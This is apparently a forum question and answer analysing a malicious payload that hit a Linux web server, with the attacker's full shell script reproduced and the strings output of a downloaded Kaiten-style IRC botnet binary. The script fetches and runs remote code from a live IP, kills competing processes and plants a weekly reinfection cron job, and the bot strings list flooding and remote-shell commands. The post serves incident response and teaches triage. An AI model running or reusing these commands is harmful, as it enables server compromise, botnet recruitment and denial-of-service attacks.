cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd  cla qt64 qt32 clover cron sh wget
kill -9 `pidof .rnd`
kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`
kill -9 `pidof dev`
kill -9 `pidof perl`
kill -9 `pidof m32`
kill -9 `pidof m64`
kill -9 `pidof ka`
kill -9 `pidof kav`
kill -9 `pidof cla`
kill -9 `pidof sh`
kill -9 `pidof sucrack`
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron

I can see that its fetches three other sh scripts by wget, execute them, delete them (possible for tracking purposes), kills some processes, setup a cron to be executed weekly, and then remove it(?!).

As we can see, it kills Apache and sh itself. It's weird since if Apache and sh are killed the attack would no longer work, right?

I have reason to believe that this payload was never actually executed, because:

The attack was attempted using GET requests.  Due to Apache mod_rewrite, all he got was a 404.
The attacker was trying to exploit a PHP backend vulnerability, which doesn't apply to me.

Does all of that mean I'm still secure?  I think doing a crontab -l checks if my server is compromised. The output was:

ubuntu@ip-172-31-24-52:~$ crontab -l
no crontab for ubuntu
ubuntu@ip-172-31-24-52:~$ sudo su
root@ip-172-31-24-52:/home/ubuntu# crontab -l
no crontab for root

I downloaded the first URL (http://something.example.com/xx) and ran

$ file xx
xx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped

So, it's an executable program meant to run on a Linux machine.  I assume you are running a Linux server.  Next, we want to see what the program does, but of course, you don't want to run it.  A quick way is to ignore all the computer instruction code embedded in the executable, and just look at what human-readable strings it might contain.  So, I ran

$ strings xx | less

[... excerpt ...]
NOTICE %s :Receiving file.
NOTICE %s :Saved as %s
NOTICE %s :Spoofs: %d.%d.%d.%d
NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d
NOTICE %s :Kaiten wa goraku
NOTICE %s :NICK <nick>
NOTICE %s :Nick cannot be larger than 9 characters.
NICK %s
NOTICE %s :DISABLE <pass>
Disabled
Enabled and awaiting orders
NOTICE %s :Current status is: %s.
NOTICE %s :Already disabled.
NOTICE %s :Password too long! > 254
NOTICE %s :Disable sucessful.
NOTICE %s :ENABLE <pass>
NOTICE %s :Already enabled.
NOTICE %s :Wrong password
NOTICE %s :Password correct.
NOTICE %s :Removed all spoofs
NOTICE %s :What kind of subnet address is that? Do something like: 169.40
NOTICE %s :Unable to resolve %s
NOTICE %s :UDP <target> <port> <secs>
NOTICE %s :Packeting %s.
NOTICE %s :PAN <target> <port> <secs>
NOTICE %s :Panning %s.
NOTICE %s :TSUNAMI <target> <secs>
NOTICE %s :Tsunami heading for %s.
NOTICE %s :UNKNOWN <target> <secs>
NOTICE %s :Unknowning %s.
NOTICE %s :MOVE <server>
NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewalls
NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers
NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder
NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder
NOTICE %s :NICK <nick>                                      = Changes the nick of the client
NOTICE %s :SERVER <server>                                  = Changes servers
NOTICE %s :GETSPOOFS                                        = Gets the current spoofing
NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet
NOTICE %s :DISABLE                                          = Disables all packeting from this client
NOTICE %s :ENABLE                                           = Enables all packeting from this client
NOTICE %s :KILL                                             = Kills the client
NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd
NOTICE %s :VERSION                                          = Requests version of client
NOTICE %s :KILLALL                                          = Kills all current packeting
NOTICE %s :HELP                                             = Displays this
NOTICE %s :IRC <command>                                    = Sends this command to the server
NOTICE %s :SH <command>                                     = Executes a command
NOTICE %s :Killing pid %d.
TSUNAMI
UNKNOWN
NICK
SERVER
GETSPOOFS

"Enabled and awaiting orders" suggests that this is a program that makes your server act as a botnet node.

The next file it downloads, http://something.example.com/ru, is a shell script, which in turn downloads a .tar.gz file from http://example.hu/ar/64.tgz (or 32.tgz, depending on your CPU architecture), then installs and runs it.  That archive contains three files:

A php interpreter compiled for Linux
Another Linux executable named pnscan
A shell script named run which launches pnscan

The other thing it does is create a weekly cron job what downloads and runs http://something.example.com/sh, which contains exactly the shell script you posted above.  Basically, it will automatically reinfect your machine every week unless you uninstall that cron job.

Recommended action

The code looks like it was put together by script kiddies.  It uses existing tools such as pnscan, tied together with some shell scripts.  It's not Stuxnet-quality code.

From the information you added later (your Apache server has no PHP support, your Apache server is still running normally, and no cron job got installed), it seems likely that the code never actually ran on your server.  In that case, you are probably OK!  Run ps ax to check whether anything suspicious is running, and you should be fine.